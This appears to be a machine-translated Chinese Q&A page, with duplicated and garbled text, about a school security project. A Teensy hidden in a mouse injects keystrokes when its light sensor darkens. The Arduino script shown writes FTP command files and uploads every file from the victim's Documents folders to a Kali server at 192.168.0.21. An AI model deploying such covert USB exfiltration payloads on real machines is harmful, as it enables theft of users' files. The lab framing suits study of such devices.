Virtual machine VirtualBox击键获得随机更改
我有一个关于it安全的学校项目。我的工作是定制一个带有usb集线器的硬件鼠标,并为其编程 teensy上的代码在变暗时执行(依赖于光的电阻器)。代码在win7虚拟机上获取一些文件,并将它们上载到kali虚拟机上托管的Apache2服务器(通过win7虚拟机中的cmd命令)。在vmware中一切正常,但我必须在我的项目中使用virtualbox 我现在的问题是,在virtualbox中,cmd命令随机更改,例如:一些字母从小写改为大写,导致路径错误,因此无法找到文件,或者有时缺少反斜杠,这也会导致路径错误 正如我所说的,它只在virtualbox中运行,在vmware中,我的整个项目运行得非常好,所以我不认为这是硬件问题 我使用最新的virtualbox版本5.0.12 这是(不是实际的)我的小剧本的一个样本Virtual machine VirtualBox击键获得随机更改,virtual-machine,mouse,virtualbox,keystroke,teensy,Virtual Machine,Mouse,Virtualbox,Keystroke,Teensy,我有一个关于it安全的学校项目。我的工作是定制一个带有usb集线器的硬件鼠标,并为其编程 teensy上的代码在变暗时执行(依赖于光的电阻器)。代码在win7虚拟机上获取一些文件,并将它们上载到kali虚拟机上托管的Apache2服务器(通过win7虚拟机中的cmd命令)。在vmware中一切正常,但我必须在我的项目中使用virtualbox 我现在的问题是,在virtualbox中,cmd命令随机更改,例如:一些字母从小写改为大写,导致路径错误,因此无法找到文件,或者有时缺少反斜杠,这也会导致
CommandAtRunBarMSWIN("cmd");
delay(1500);
Keyboard.println("echo cd upload > C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo mkdir %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo cd %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo prompt off >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo mput C:\\Users\\user\\Documents\\*.* >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo cd upload > \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo mkdir %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo cd %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo prompt off >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo mput \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\*.*\" >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("ftp -A -s:C:\\Users\\user\\Documents\\ftp.txt 192.168.0.21");
delay(3000);
Keyboard.println("bye");
delay(300);
Keyboard.println("ftp -A -s:\"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\" 192.168.0.21");
delay(3000);
Keyboard.println("bye");
delay(300);
Keyboard.println("exit");
我发现了问题所在。我忘了在Virtualbox中手动绑定USB Teensy和复选框,所以我认为它在驱动程序和我不知道的东西方面有点问题
只要我在运行之前总是在virtualbox中手动绑定它,它现在就可以工作。我发现了问题所在。我忘了在Virtualbox中手动绑定USB Teensy和复选框,所以我认为它在驱动程序和我不知道的东西方面有点问题
只要在运行之前我总是在virtualbox中手动绑定它,它现在就可以工作。hi@pharZyde,尝试描述问题,例如,您可以提供有关您正在使用的语言的详细信息,以及有关应用程序返回的键码的详细信息。关于apache服务器的详细信息与您的情况无关。hi@DarthCoder,我不知道我使用的是哪种语言tbh,我使用的是一种用于teensy的arduino库内容^^^^以及关于返回的键码,当我检查它执行的命令的cmd时,它完全是随机的,像C:\Users\user\Documents\ftp.txt改为C:\Users\user\Documents\ftp.txt,或者它缺少一个反斜杠,有时甚至缺少一个完整的命令,如“cd upload”,也许为了更好地理解,teensy脚本生成一个本地ftp.txt,并在其中写入cmd命令,如“cd upload”;mkdir测试;…'然后,它使用-s:C:\Users\user\Documents\ftp.txt选项建立ftp连接,这样它就可以从ftp.txt中运行cmd命令了,它只是切换了这些情况吗?windows不区分大小写(对于文件名),如果行为一致,请给出发生的情况的示例。C:\Users\user\Documents\ftp.txt改为C:\Users\user\Documents\ftp.txt。如果windows不区分大小写,它应该可以正常工作-您好@pharZyde,请尝试描述问题,例如,您可以提供有关正在使用的语言的详细信息,以及有关应用程序返回的键码的详细信息。关于apache服务器的详细信息与您的情况无关。hi@DarthCoder,我不知道我使用的是哪种语言tbh,我使用的是一种用于teensy的arduino库内容^^^^以及关于返回的键码,当我检查它执行的命令的cmd时,它完全是随机的,像C:\Users\user\Documents\ftp.txt改为C:\Users\user\Documents\ftp.txt,或者它缺少一个反斜杠,有时甚至缺少一个完整的命令,如“cd upload”,也许为了更好地理解,teensy脚本生成一个本地ftp.txt,并在其中写入cmd命令,如“cd upload”;mkdir测试;…'然后,它使用-s:C:\Users\user\Documents\ftp.txt选项建立ftp连接,这样它就可以从ftp.txt中运行cmd命令了,它只是切换了这些情况吗?windows不区分大小写(对于文件名),如果行为一致,请给出发生的情况的示例。C:\Users\user\Documents\ftp.txt改为C:\Users\user\Documents\ftp.txt。如果windows不区分大小写,它应该可以正常工作-如果你有其他问题,最好分开问。如果你有其他问题,最好分开问。